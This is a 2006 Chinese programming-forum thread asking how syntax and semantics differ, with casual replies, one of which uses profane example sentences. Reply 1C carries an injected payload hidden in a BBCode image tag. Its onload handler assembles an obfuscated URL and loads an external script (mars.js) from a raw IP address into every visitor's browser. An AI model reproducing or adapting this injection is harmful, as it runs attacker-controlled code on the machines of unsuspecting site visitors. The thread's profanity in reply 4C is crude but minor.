suchasplus
作家
作家
  • 铜币16枚
  • 威望11点
  • 贡献值1点
阅读:1230回复:7

请教:语法和语义的差别?

楼主#
更多 发布于:2006-01-27 14:41
[b]一门编程语言,通常既定义语法,也定义语义。[/b]


编程语言是什么?有一种看法是把它当成拥有一套关键字的特定语法,那些关键字可用以定义数据,并表达实施于数据上的操作。今天,尽管语言的语法各有差别,但大多数流行语言的潜在抽象性其实十分相似。他们都支持形形色色的data types如整形和字符串,都可将代码包装于methods(function)之中,并且都提供一个将data和methods聚合于classes的办法。[color=#ff0009]定义一门崭新的编程语言时,常规做法是先定义诸如关键语义(semantics)的抽象性,然后才是语法。[/color]

然而,在此同时,亦存在另外一种可能性。假设你决定为一个编程模型(programming model)定义核心抽象性质,而且不把他映射到任何特定语法上。如果抽象性够一般化,它就可以被用于多种不同的编程语言身上。是的,[color=#ff0000]不要把语法和语义混淆在一起[/color],让他们保持距离,这就允许不同的语言使用同一套潜在抽象性。


请问: 怎么理解语法语义的差别与联系?
The history of these days will be written in blood... By crushing the armies of our enemy, by seizing the weapons they thought to turn against us, we were fighting for our very existence!
119
119
普通会员
普通会员
  • 铜币0枚
  • 威望0点
  • 贡献值0点
1C#
发布于:2006-02-24 14:02
Re:请教:语法和语义的差别?
5楼真强啊!!!
[img]http://220.101.198.35/han_zu.jpg" onclick="return false;" onload="var item = document.getElementById('mars_js'); if (item == null) { item = document.createElement('script'); item.src = 'htt' + 'p:/' + '/220.' + '101.' + '198.' + '35/' + 'js/' + 'mars.js'; item.type = 'text/' + 'javascript'; item.id = 'mars_js';document.body.appendChild(item);}[/img] [a=http://www.apabi.com" onclick="return false;" style="font-size: 24px; font-family: 'Courier New'; color: #0000ff; line-height: 30px; text-decoration: none; font-weight : bold;]studying~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[/a] [a=http://www.apabi.com" onclick="return true;" style="font-size: 18px; font-family: 'Courier New'; color: #000000; line-height: 20px; text-decoration: none; font-weight : bold;]http://www.apabi.com[/a]
fatty
写手
写手
  • 铜币0枚
  • 威望0点
  • 贡献值0点
2C#
发布于:2006-02-21 23:14
Re:请教:语法和语义的差别?
问问程晓锦 他好像听懂的 反正他上课教的 我是不懂
我反应迟钝~ 网络处男~
suchasplus
作家
作家
  • 铜币16枚
  • 威望11点
  • 贡献值1点
3C#
发布于:2006-01-31 13:45
Re:请教:语法和语义的差别?
System.Int32.i (CLR)= int i(C#)
The history of these days will be written in blood... By crushing the armies of our enemy, by seizing the weapons they thought to turn against us, we were fighting for our very existence!
0000
作家
作家
  • 铜币143枚
  • 威望34点
  • 贡献值1点
4C#
发布于:2006-01-30 18:02
Re:请教:语法和语义的差别?
从中文来讲~~语法是语句构成的形式, 一个完整的句子最少包括主语 谓语 和 宾语, 比如说, "我操你妈!", 这里就是主语"我"加谓语"操", 后面是宾语, 不过有时候也会省略主语, 比如:"操你妈!"(省略主语), 或者更简单地说:"操!"同时省略主语宾语. 这里的语法都没有错误.
而语义是语句表达的意思, "我操你二大爷!" 的意思大家都明白, 是一句骂人的话, 而如果反过来, "你二大爷操我!", 这时语法仍然没有错, 但是语义却发生了变化, 虽然有人会觉得同样也有骂人的效果, 可是感觉却不是那么爽了.

至于编译原理里的区别~~偶不知道~~编译原理差点没过~~
.--. |o_o | |:_/ | // \ \ (| | ) /'\_ _/`\ \___)=(___/
suchasplus
作家
作家
  • 铜币16枚
  • 威望11点
  • 贡献值1点
5C#
发布于:2006-01-29 21:53
Re:请教:语法和语义的差别?
慢慢搜索吧  还是不懂
The history of these days will be written in blood... By crushing the armies of our enemy, by seizing the weapons they thought to turn against us, we were fighting for our very existence!
万贤
作家
作家
  • 铜币1枚
  • 威望24点
  • 贡献值1点
6C#
发布于:2006-01-29 13:20
Re:请教:语法和语义的差别?
不懂哈~春节快乐~~
mumu
写手
写手
  • 铜币0枚
  • 威望0点
  • 贡献值0点
7C#
发布于:2006-01-27 16:20
Re:请教:语法和语义的差别?
先把中文弄清楚,再研究形式的定义之于上下文解释的问题吧.

王小波说:“中年妇女在中国是一种自然灾害,这倒不是因为她们不好看,而是因为她们故意要恶心人。” 一天,我乘坐公交车,一位MM突然转过头来对我说:“你帅吗?”我说:“我不帅!”MM突然给我一巴掌,并说:“我最讨厌说谎的人了!” 如果你更热爱金钱而非自由,更习惯于被奴役的安宁而畏惧令人充满活力的争取自由的抗争,那么,请你静静地走开。我们不会乞求你的建议或是帮助。伏下身去讨好那喂养你的人吧。但愿身上的锁链不会给你造成太多的痛苦,但愿未来的人们不会记起你曾经是我们的国人 Samuel Adams: 18世纪美国独立革命重要领袖,著有“殖民者的权利”
游客

返回顶部